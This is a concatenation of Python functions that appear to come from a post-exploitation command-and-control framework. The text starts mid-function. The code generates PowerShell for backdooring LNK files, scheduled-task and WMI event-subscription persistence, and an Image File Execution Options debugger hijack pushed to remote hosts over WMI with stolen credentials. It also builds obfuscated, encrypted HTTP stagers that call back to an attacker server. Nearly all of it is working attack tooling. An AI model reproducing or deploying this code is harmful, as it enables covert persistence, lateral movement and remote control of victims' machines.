"Invoke-BackdoorLNK " if cleanup.lower() == "true": script_end += " -CleanUp" script_end += " -LNKPath '%s'" % (lnk_path) script_end += " -RegPath '%s'" % (reg_path) script_end += ( "; \"Invoke-BackdoorLNK cleanup run on lnk path '%s' and regPath %s\"" % (lnk_path, reg_path)) else: if ext_file != "": # read in an external file as the payload and build a # base64 encoded version as encScript if os.path.exists(ext_file): with open(ext_file, "r") as f: file_data = f.read() # unicode-base64 encode the script for -enc launching encScript = helpers.enc_powershell(file_data) status_msg += "using external file " + ext_file else: return handle_error_message("[!] File does not exist: " + ext_file) else: # if an external file isn't specified, use a listener if not main_menu.listeners.is_listener_valid(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) else: # generate the PowerShell one-liner with all of the proper options set launcher = main_menu.stagers.generate_launcher( listenerName=listener_name, language="powershell", encode=True, obfuscate=launcher_obfuscate, obfuscationCommand=launcher_obfuscate_command, userAgent=user_agent, proxy=proxy, proxyCreds=proxy_creds, bypasses=params["Bypasses"], ) encScript = launcher.split(" ")[-1] status_msg += "using listener " + listener_name script_end += " -LNKPath '%s'" % (lnk_path) script_end += " -EncScript '%s'" % (encScript) script_end += ( "; \"Invoke-BackdoorLNK run on path '%s' with stager for listener '%s'\"" % (lnk_path, listener_name)) script = main_menu.modules.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) return script
def generate( main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = "", ): # trigger options daily_time = params["DailyTime"] idle_time = params["IdleTime"] on_logon = params["OnLogon"] task_name = params["TaskName"] # storage options reg_path = params["RegPath"] ads_path = params["ADSPath"] # management options ext_file = params["ExtFile"] cleanup = params["Cleanup"] # staging options listener_name = params["Listener"] user_agent = params["UserAgent"] proxy = params["Proxy"] proxy_creds = params["ProxyCreds"] if (params["Obfuscate"]).lower() == "true": launcher_obfuscate = True else: launcher_obfuscate = False launcher_obfuscate_command = params["ObfuscateCommand"] status_msg = "" locationString = "" # for cleanup, remove any script from the specified storage location # and remove the specified trigger if cleanup.lower() == "true": if ads_path != "": # remove the ADS storage location if ".txt" not in ads_path: return handle_error_message( "[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt" ) script = ('Invoke-Command -ScriptBlock {cmd /C "echo x > ' + ads_path + '"};') else: # remove the script stored in the registry at the specified reg path path = "\\".join(reg_path.split("\\")[0:-1]) name = reg_path.split("\\")[-1] script = "$RegPath = '" + reg_path + "';" script += "$parts = $RegPath.split('\\');" script += ( "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" ) script += "$name = $parts[-1];" script += "$null=Remove-ItemProperty -Force -Path $path -Name $name;" script += "schtasks /Delete /F /TN " + task_name + ";" script += "'Schtasks persistence removed.'" script = main_menu.modules.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) return script if ext_file != "": # read in an external file as the payload and build a # base64 encoded version as encScript if os.path.exists(ext_file): f = open(ext_file, "r") fileData = f.read() f.close() # unicode-base64 encode the script for -enc launching enc_script = helpers.enc_powershell(fileData) status_msg += "using external file " + ext_file else: return handle_error_message("[!] File does not exist: " + ext_file) else: # if an external file isn't specified, use a listener if not main_menu.listeners.is_listener_valid(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) else: # generate the PowerShell one-liner with all of the proper options set launcher = main_menu.stagers.generate_launcher( listenerName=listener_name, language="powershell", encode=True, obfuscate=launcher_obfuscate, obfuscationCommand=launcher_obfuscate_command, userAgent=user_agent, proxy=proxy, proxyCreds=proxy_creds, bypasses=params["Bypasses"], ) enc_script = launcher.split(" ")[-1] status_msg += "using listener " + listener_name if ads_path != "": # store the script in the specified alternate data stream location if ".txt" not in ads_path: return handle_error_message( "[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt" ) script = ('Invoke-Command -ScriptBlock {cmd /C "echo ' + enc_script + " > " + ads_path + '"};') locationString = "$(cmd /c ''''more < " + ads_path + "'''''')" else: # otherwise store the script into the specified registry location path = "\\".join(reg_path.split("\\")[0:-1]) name = reg_path.split("\\")[-1] status_msg += " stored in " + reg_path script = "$RegPath = '" + reg_path + "';" script += "$parts = $RegPath.split('\\');" script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" script += "$name = $parts[-1];" script += ( "$null=Set-ItemProperty -Force -Path $path -Name $name -Value " + enc_script + ";") # note where the script is stored locationString = "(gp " + path + " " + name + ")." + name # built the command that will be triggered by the schtask trigger_cmd = ( "'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\powershell.exe -NonI -W hidden -c \\\"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String(" + locationString + ")))\\\"'") # sanity check to make sure we haven't exceeded the cmd.exe command length max if len(trigger_cmd) > 259: return handle_error_message( "[!] Warning: trigger command exceeds the maximum of 259 characters." ) if on_logon != "": script += ("schtasks /Create /F /RU system /SC ONLOGON /TN " + task_name + " /TR " + trigger_cmd + ";") status_msg += " with " + task_name + " OnLogon trigger." elif idle_time != "": script += ("schtasks /Create /F /RU system /SC ONIDLE /I " + idle_time + " /TN " + task_name + " /TR " + trigger_cmd + ";") status_msg += " with " + task_name + " idle trigger on " + idle_time + "." else: # otherwise assume we're doing a daily trigger script += ("schtasks /Create /F /RU system /SC DAILY /ST " + daily_time + " /TN " + task_name + " /TR " + trigger_cmd + ";") status_msg += " with " + task_name + " daily trigger at " + daily_time + "." script += "'Schtasks persistence established " + status_msg + "'" script = main_menu.modules.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) return script
def generate_stager( self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None, ): """ Generate the stager code needed for communications with this listener. """ if not language: print( helpers.color( "[!] listeners/http_com generate_stager(): no language specified!" ) ) return None profile = listenerOptions["DefaultProfile"]["Value"] uris = [a.strip("/") for a in profile.split("|")[0].split(",")] stagingKey = listenerOptions["StagingKey"]["Value"] host = listenerOptions["Host"]["Value"] workingHours = listenerOptions["WorkingHours"]["Value"] customHeaders = profile.split("|")[2:] # select some random URIs for staging from the main profile stage1 = random.choice(uris) stage2 = random.choice(uris) if language.lower() == "powershell": # read in the stager base f = open("%s/data/agent/stagers/http_com.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # Get the random function name generated at install and patch the stager with the proper function name stager = data_util.keyword_obfuscation(stager) # make sure the server ends with "/" if not host.endswith("/"): host += "/" # Patch in custom Headers headers = "" if customHeaders != []: crlf = False for header in customHeaders: headerKey = header.split(":")[0] headerValue = header.split(":")[1] # Host header TLS SNI logic done within http_com.ps1 if crlf: headers += "`r`n" else: crlf = True headers += "%s: %s" % (headerKey, headerValue) stager = stager.replace( '$customHeaders = "";', '$customHeaders = "' + headers + '";' ) # patch the server and key information stager = stager.replace("REPLACE_SERVER", host) stager = stager.replace("REPLACE_STAGING_KEY", stagingKey) stager = stager.replace("index.jsp", stage1) stager = stager.replace("index.php", stage2) # patch in working hours, if any if workingHours != "": stager = stager.replace("WORKING_HOURS_REPLACE", workingHours) unobfuscated_stager = "" stagingKey = stagingKey.encode("UTF-8") for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): unobfuscated_stager += line if obfuscate: unobfuscated_stager = data_util.obfuscate( self.mainMenu.installPath, unobfuscated_stager, obfuscationCommand=obfuscationCommand, ) # base64 encode the stager and return it if encode: return helpers.enc_powershell(unobfuscated_stager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4( RC4IV + stagingKey, unobfuscated_stager.encode("UTF-8") ) else: # otherwise just return the case-randomized stager return unobfuscated_stager else: print( helpers.color( "[!] listeners/http_com generate_stager(): invalid language specification, only 'powershell' is current supported for this module." ) )
def generate( main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = "", ): script = """$null = Invoke-WmiMethod -Path Win32_process -Name create""" # staging options cleanup = params["Cleanup"] binary = params["Binary"] target_binary = params["TargetBinary"] listener_name = params["Listener"] if (params["Obfuscate"]).lower() == "true": launcher_obfuscate = True else: launcher_obfuscate = False launcher_obfuscate_command = params["ObfuscateCommand"] # storage options reg_path = params["RegPath"] status_msg = "" location_string = "" # if a credential ID is specified, try to parse cred_id = params["CredID"] if cred_id != "": if not main_menu.credentials.is_credential_valid(cred_id): return handle_error_message("[!] CredID is invalid!") cred: Credential = main_menu.credentials.get_credentials(cred_id) if cred.domain != "": params["UserName"] = str(cred.domain) + "\\" + str( cred.username) else: params["UserName"] = str(cred.username) if cred.password != "": params["Password"] = cred.password if cleanup.lower() == "true": # the registry command to disable the debugger for the target binary payload_code = ( "Remove-Item 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + target_binary + "';") status_msg += " to remove the debugger for " + target_binary elif listener_name != "": # if there's a listener specified, generate a stager and store it if not main_menu.listeners.is_listener_valid(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) else: # generate the PowerShell one-liner with all of the proper options set launcher = main_menu.stagers.generate_launcher( listenerName=listener_name, language="powershell", encode=True, obfuscate=launcher_obfuscate, obfuscationCommand=launcher_obfuscate_command, bypasses=params["Bypasses"], ) encScript = launcher.split(" ")[-1] # statusMsg += "using listener " + listenerName path = "\\".join(reg_path.split("\\")[0:-1]) name = reg_path.split("\\")[-1] # statusMsg += " stored in " + regPath + "." payload_code = "$RegPath = '" + reg_path + "';" payload_code += "$parts = $RegPath.split('\\');" payload_code += ( "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" ) payload_code += "$name = $parts[-1];" payload_code += ( "$null=Set-ItemProperty -Force -Path $path -Name $name -Value " + encScript + ";") # note where the script is stored location_string = "$((gp " + path + " " + name + ")." + name + ")" payload_code += ( "$null=New-Item -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + target_binary + "';$null=Set-ItemProperty -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + target_binary + '\' -Name Debugger -Value \'"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" -c "$x=' + location_string + ';start -Win Hidden -A \\"-enc $x\\" powershell";exit;\';') status_msg += (" to set the debugger for " + target_binary + " to be a stager for listener " + listener_name + ".") else: payload_code = ( "$null=New-Item -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + target_binary + "';$null=Set-ItemProperty -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + target_binary + "' -Name Debugger -Value '" + binary + "';") status_msg += (" to set the debugger for " + target_binary + " to be " + binary + ".") # unicode-base64 the payload code to execute on the targets with -enc encPayload = helpers.enc_powershell(payload_code) # build the WMI execution string computer_names = '"' + '","'.join( params["ComputerName"].split(",")) + '"' script += " -ComputerName @(" + computer_names + ")" script += ( ' -ArgumentList "C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -enc ' + encPayload.decode("UTF-8") + '"') # if we're supplying alternate user credentials if params["UserName"] != "": script = ( '$PSPassword = "******"Password"] + '" | ConvertTo-SecureString -asPlainText -Force;$Credential = New-Object System.Management.Automation.PSCredential("' + params["UserName"] + '",$PSPassword);' + script + " -Credential $Credential") script += ";'Invoke-Wmi executed on " + computer_names + status_msg + "'" script = main_menu.modules.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) return script
def generate( main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = "", ): # trigger options daily_time = params["DailyTime"] day = params["Day"] day_of_week = params["DayOfWeek"] at_startup = params["AtStartup"] sub_name = params["SubName"] dummy_sub_name = "_" + sub_name # management options launcher_prefix = params["Launcher"] ext_file = params["ExtFile"] cleanup = params["Cleanup"] web_file = params["WebFile"] status_msg = "" location_string = "" if cleanup.lower() == "true": # commands to remove the WMI filter and subscription script = ( "Get-WmiObject __eventFilter -namespace root\\subscription -filter \"name='" + sub_name + "'\"| Remove-WmiObject;") script += ( "Get-WmiObject CommandLineEventConsumer -Namespace root\\subscription -filter \"name='" + sub_name + "'\" | Remove-WmiObject;") script += ( "Get-WmiObject __FilterToConsumerBinding -Namespace root\\subscription | Where-Object { $_.filter -match '" + sub_name + "'} | Remove-WmiObject;") script += ( "Get-WmiObject __eventFilter -namespace root\\subscription -filter \"name='" + dummy_sub_name + "'\"| Remove-WmiObject;") script += ( "Get-WmiObject CommandLineEventConsumer -Namespace root\\subscription -filter \"name='" + dummy_sub_name + "'\" | Remove-WmiObject;") script += ( "Get-WmiObject __FilterToConsumerBinding -Namespace root\\subscription | Where-Object { $_.filter -match '" + dummy_sub_name + "'} | Remove-WmiObject;") script += ("'WMI persistence with subscription named " + sub_name + " removed.'") script = main_menu.modules.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) return script if ext_file != "": # read in an external file as the payload and build a # base64 encoded version as encScript if os.path.exists(ext_file): with open(ext_file, "r") as f: file_data = f.read() # unicode-base64 encode the script for -enc launching enc_script = helpers.enc_powershell(file_data) status_msg += "using external file " + ext_file else: return handle_error_message("[!] File does not exist: " + ext_file) else: # generate the PowerShell one-liner with all of the proper options set launcher = main_menu.stagers.generate_launcher_fetcher( language="powershell", encode=True, webFile=web_file, launcher=launcher_prefix, ) enc_script = launcher.split(" ")[-1] status_msg += "using launcher_fetcher" # sanity check to make sure we haven't exceeded the powershell -enc 8190 char max if len(enc_script) > 8190: return handle_error_message( "[!] Warning: -enc command exceeds the maximum of 8190 characters." ) # built the command that will be triggered trigger_cmd = ( "$($Env:SystemRoot)\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonI -W hidden -enc " + enc_script) if daily_time != "" or day != "" or day_of_week != "": # add DailyTime to event filter parts = daily_time.split(":") if len(parts) < 2: return handle_error_message( "[!] Please use HH:mm format for DailyTime") hour = parts[0] minutes = parts[1] # some presets for building status message and the script status_msg_day = " daily" day_filter = "" script = "" # if those day and day_of_week are combined, return nothing for the script if day != "" and day_of_week != "": return handle_error_message( "[!] Can not combine Day and DayOfWeek") # add day or day_of_week to event filter if day != "": if (int(day) < 1) or (int(day) > 31): return handle_error_message( "[!] Please stick to range 1-31 for Day") day_filter = " AND (TargetInstance.Day = " + day + ")" status_msg_day = " every day of month: " + day + " (1-31)" elif day_of_week != "": if (int(day_of_week) < 0) or (int(day_of_week) > 6): return handle_error_message( "[!] Please stick to range 0-6 for DayOfWeek") day_filter = " AND (TargetInstance.DayOfWeek=" + day_of_week + ")" status_msg_day = " every day of week: " + day_of_week + " (0-6)" # creating and bind a dummy WMI event filter with a "nop event consumer" as workaround for win32_localtime.day_of_week bug day_filter_dummy = (" AND (TargetInstance.DayOfWeek=" + day_of_week + " OR TargetInstance.DayOfWeek=" + str(int(day_of_week) + 1) + ")") script += ( '$Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\\subscription" -Arguments @{name=\'' + dummy_sub_name + "';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'" + day_filter_dummy + " AND (TargetInstance.Hour = " + hour + ") AND (TargetInstance.Minute = " + minutes + ') GROUP WITHIN 60"};') script += ( "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='" + dummy_sub_name + "';CommandLineTemplate=\"call\";RunInteractively='false'};" ) script += ' Set-WmiInstance -Namespace "root\\subscription" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;' # create the real WMI event filter for a system time script += ( '$Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\\subscription" -Arguments @{name=\'' + sub_name + "';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'" + day_filter + " AND (TargetInstance.Hour = " + hour + ") AND (TargetInstance.Minute = " + minutes + ') GROUP WITHIN 60"};') status_msg += (" with WMI subscription trigger at " + daily_time + status_msg_day + ".") else: # create the WMI event filter for OnStartup script = ( '$Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\\subscription" -Arguments @{name=\'' + sub_name + "';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};" ) status_msg += " with OnStartup WMI subsubscription trigger." # add in the event consumer to launch the encrypted script contents script += ( "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='" + sub_name + "';CommandLineTemplate=\"" + trigger_cmd + "\";RunInteractively='false'};") # bind the filter and event consumer together script += 'Set-WmiInstance -Namespace "root\\subscription" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;' script += "'WMI persistence established " + status_msg + "'" script = main_menu.modules.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) return script
def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None): """ If you want to support staging for the listener module, generate_stager must be implemented to return the stage1 key-negotiation stager code. """ if not language: print(helpers.color('[!] listeners/http generate_stager(): no language specified!')) return None profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] killDate = listenerOptions['KillDate']['Value'] host = listenerOptions['Host']['Value'] customHeaders = profile.split('|')[2:] # select some random URIs for staging from the main profile stage1 = random.choice(uris) stage2 = random.choice(uris) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/http.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # Get the random function name generated at install and patch the stager with the proper function name stager = data_util.keyword_obfuscation(stager) # make sure the server ends with "/" if not host.endswith("/"): host += "/" # Patch in custom Headers if customHeaders != []: headers = ','.join(customHeaders) stager = stager.replace("$customHeaders = \"\";", "$customHeaders = \"" + headers + "\";") # patch in working hours, if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) # Patch in the killdate, if any if killDate != "": stager = stager.replace('REPLACE_KILLDATE', killDate) # patch the server and key information stager = stager.replace('REPLACE_SERVER', host) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('index.jsp', stage1) stager = stager.replace('index.php', stage2) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization(line) else: randomizedStager += line if obfuscate: randomizedStager = helpers.obfuscate(self.mainMenu.installPath, randomizedStager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager elif language.lower() == 'python': # read in the stager base f = open("%s/data/agent/stagers/http.py" % (self.mainMenu.installPath)) stager = f.read() f.close() stager = helpers.strip_python_comments(stager) if host.endswith("/"): host = host[0:-1] if workingHours != "": stager = stager.replace('SET_WORKINGHOURS', workingHours) if killDate != "": stager = stager.replace('SET_KILLDATE', killDate) # # patch the server and key information stager = stager.replace("REPLACE_STAGING_KEY", stagingKey) stager = stager.replace("REPLACE_PROFILE", profile) stager = stager.replace("index.jsp", stage1) stager = stager.replace("index.php", stage2) # # base64 encode the stager and return it if encode: return base64.b64encode(stager) if encrypt: # return an encrypted version of the stager ("normal" staging) RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, stager) else: # otherwise return the standard stager return stager else: print(helpers.color( "[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."))
def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""): listener_name = params['Listener'] # trigger options daily_time = params['DailyTime'] day = params['Day'] day_of_week = params['DayOfWeek'] at_startup = params['AtStartup'] sub_name = params['SubName'] dummy_sub_name = "_" + sub_name failed_logon = params['FailedLogon'] # management options ext_file = params['ExtFile'] cleanup = params['Cleanup'] # staging options user_agent = params['UserAgent'] proxy = params['Proxy'] proxy_creds = params['ProxyCreds'] status_msg = "" location_string = "" if cleanup.lower() == 'true': # commands to remove the WMI filter and subscription script = "Get-WmiObject __eventFilter -namespace root\\subscription -filter \"name='" + sub_name + "'\"| Remove-WmiObject;" script += "Get-WmiObject CommandLineEventConsumer -Namespace root\\subscription -filter \"name='" + sub_name + "'\" | Remove-WmiObject;" script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\\subscription | Where-Object { $_.filter -match '" + sub_name + "'} | Remove-WmiObject;" script += "Get-WmiObject __eventFilter -namespace root\\subscription -filter \"name='" + dummy_sub_name + "'\"| Remove-WmiObject;" script += "Get-WmiObject CommandLineEventConsumer -Namespace root\\subscription -filter \"name='" + dummy_sub_name + "'\" | Remove-WmiObject;" script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\\subscription | Where-Object { $_.filter -match '" + dummy_sub_name + "'} | Remove-WmiObject;" script += "'WMI persistence with subscription named " + sub_name + " removed.'" script = data_util.keyword_obfuscation(script) if obfuscate: script = helpers.obfuscate( main_menu.installPath, psScript=script, obfuscationCommand=obfuscation_command) return script if ext_file != '': # read in an external file as the payload and build a # base64 encoded version as encScript if os.path.exists(ext_file): f = open(ext_file, 'r') fileData = f.read() f.close() # unicode-base64 encode the script for -enc launching enc_script = helpers.enc_powershell(fileData) status_msg += "using external file " + ext_file else: return handle_error_message("[!] File does not exist: " + ext_file) else: if listener_name == "": return handle_error_message( "[!] Either an ExtFile or a Listener must be specified") # if an external file isn't specified, use a listener elif not main_menu.listeners.is_listener_valid(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) else: # generate the PowerShell one-liner with all of the proper options set launcher = main_menu.stagers.generate_launcher( listener_name, language='powershell', encode=True, userAgent=user_agent, proxy=proxy, proxyCreds=proxy_creds) enc_script = launcher.split(" ")[-1] status_msg += "using listener " + listener_name # sanity check to make sure we haven't exceeded the powershell -enc 8190 char max if len(enc_script) > 8190: return handle_error_message( "[!] Warning: -enc command exceeds the maximum of 8190 characters." ) # built the command that will be triggered trigger_cmd = "$($Env:SystemRoot)\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonI -W hidden -enc " + enc_script if failed_logon != '': # Enable failed logon auditing script = "auditpol /set /subcategory:Logon /failure:enable;" # create WMI event filter for failed logon script += "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{Name='" + sub_name + "';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND TargetInstance.EventCode='4625' AND TargetInstance.Message LIKE '%" + failed_logon + "%'\"}; " status_msg += " with trigger upon failed logon by " + failed_logon elif (daily_time != '' or day != '' or day_of_week != ''): # add DailyTime to event filter parts = daily_time.split(":") if len(parts) < 2: return handle_error_message( "[!] Please use HH:mm format for DailyTime") hour = parts[0] minutes = parts[1] # some presets for building status message and the script status_msg_day = " daily" day_filter = "" script = "" # if those day and day_of_week are combined, return nothing for the script if (day != '' and day_of_week != ''): return handle_error_message( "[!] Can not combine Day and DayOfWeek") # add day or day_of_week to event filter if day != '': if (int(day) < 1) or (int(day) > 31): return handle_error_message( "[!] Please stick to range 1-31 for Day") day_filter = " AND (TargetInstance.Day = " + day + ")" status_msg_day = " every day of month: " + day + " (1-31)" elif day_of_week != '': if (int(day_of_week) < 0) or (int(day_of_week) > 6): return handle_error_message( "[!] Please stick to range 0-6 for DayOfWeek") day_filter = " AND (TargetInstance.DayOfWeek=" + day_of_week + ")" status_msg_day = " every day of week: " + day_of_week + " (0-6)" # creating and bind a dummy WMI event filter with a "nop event consumer" as workaround for win32_localtime.day_of_week bug day_filter_dummy = " AND (TargetInstance.DayOfWeek=" + day_of_week + " OR TargetInstance.DayOfWeek=" + str( int(day_of_week) + 1) + ")" script += "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='" + dummy_sub_name + "';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'" + day_filter_dummy + " AND (TargetInstance.Hour = " + hour + ") AND (TargetInstance.Minute = " + minutes + ") GROUP WITHIN 60\"};" script += "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='" + dummy_sub_name + "';CommandLineTemplate=\"call\";RunInteractively='false'};" script += " Set-WmiInstance -Namespace \"root\\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;" # create the real WMI event filter for a system time script += "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='" + sub_name + "';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'" + day_filter + " AND (TargetInstance.Hour = " + hour + ") AND (TargetInstance.Minute = " + minutes + ") GROUP WITHIN 60\"};" status_msg += " with WMI subscription trigger at " + daily_time + status_msg_day + "." else: # create the WMI event filter for OnStartup script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='" + sub_name + "';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};" status_msg += " with OnStartup WMI subsubscription trigger." # add in the event consumer to launch the encrypted script contents script += "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='" + sub_name + "';CommandLineTemplate=\"" + trigger_cmd + "\";RunInteractively='false'};" # bind the filter and event consumer together script += " Set-WmiInstance -Namespace \"root\\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;" script += "'WMI persistence established " + status_msg + "'" if main_menu.obfuscate: script = data_util.obfuscate( main_menu.installPath, psScript=script, obfuscationCommand=main_menu.obfuscateCommand) script = data_util.keyword_obfuscation(script) return script